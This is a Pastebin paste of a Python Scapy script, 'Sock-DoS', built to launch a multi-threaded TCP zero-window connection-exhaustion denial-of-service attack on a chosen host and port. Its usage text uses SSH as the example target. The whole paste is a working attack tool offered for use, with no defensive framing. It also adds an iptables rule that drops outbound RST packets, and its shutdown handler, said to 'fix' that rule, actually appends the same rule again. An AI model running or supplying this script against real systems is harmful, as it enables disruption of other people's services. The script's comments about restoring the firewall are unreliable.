Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- # Welcome to "Sock-DoS" #
- # - - - - - - - - - - - - - - #
- # Usage - ./sock_dos.py <target> <port> <threads>
- # Example - ./sock_dos.py 69.69.96.96 22 2000
- # Example will perform a multi-threaded sock-dos DoS attack
- # against the SSH (port 22) service on 69.69.96.96
- import logging
- logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
- from scapy.all import *
- from time import sleep
- import thread
- import os
- import signal
- import sys
- print "\n | S O C K D O S | "
- print " | Coded by Chris Poole / @codingplanets |\n\n"
- if len(sys.argv) != 4:
- print '''
- Usage - ./sock_dos.py <target> <port> <threads>
- Example - ./sock_dos.py 69.69.96.96 22 2000
- Example will perform a multi-threaded sock-dos DoS attack
- against the SSH (port 22) service on 69.69.96.96'''
- sys.exit()
- target = str(sys.argv[1])
- dstport = int(sys.argv[2])
- threads = int(sys.argv[3])
- ## This is where the magic happens
- def sockdos(target,dstport):
- while 0 == 0:
- try:
- x = random.randint(0,65535)
- response = sr1(IP(dst=target)/TCP(sport=x,dport=dstport,flags='S'),timeout=1,verbose=0)
- send(IP(dst=target)/TCP(dport=dstport,sport=x,window=0,flags='A',ack=(response[TCP].seq + 1))/'\x00\x00',verbose=0)
- except:
- pass
- ## Graceful shutdown allows IP Table Repair
- def graceful_shutdown(signal, frame):
- print '\nYou pressed Ctrl+C!'
- print 'Fixing IP Tables'
- os.system('iptables -A OUTPUT -p tcp --tcp-flags RST RST -d ' + target + ' -j DROP')
- sys.exit()
- ## Creates IPTables Rule to Prevent Outbound RST Packet to Allow Scapy TCP Connections
- os.system('iptables -A OUTPUT -p tcp --tcp-flags RST RST -d ' + target + ' -j DROP')
- signal.signal(signal.SIGINT, graceful_shutdown)
- ## Spin up multiple threads to launch the attack
- print "The onslaught has begun...use Ctrl+C to stop the attack"
- for x in range(0,threads):
- thread.start_new_thread(sockdos, (target,dstport))
- while 0 == 0:
- sleep(1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement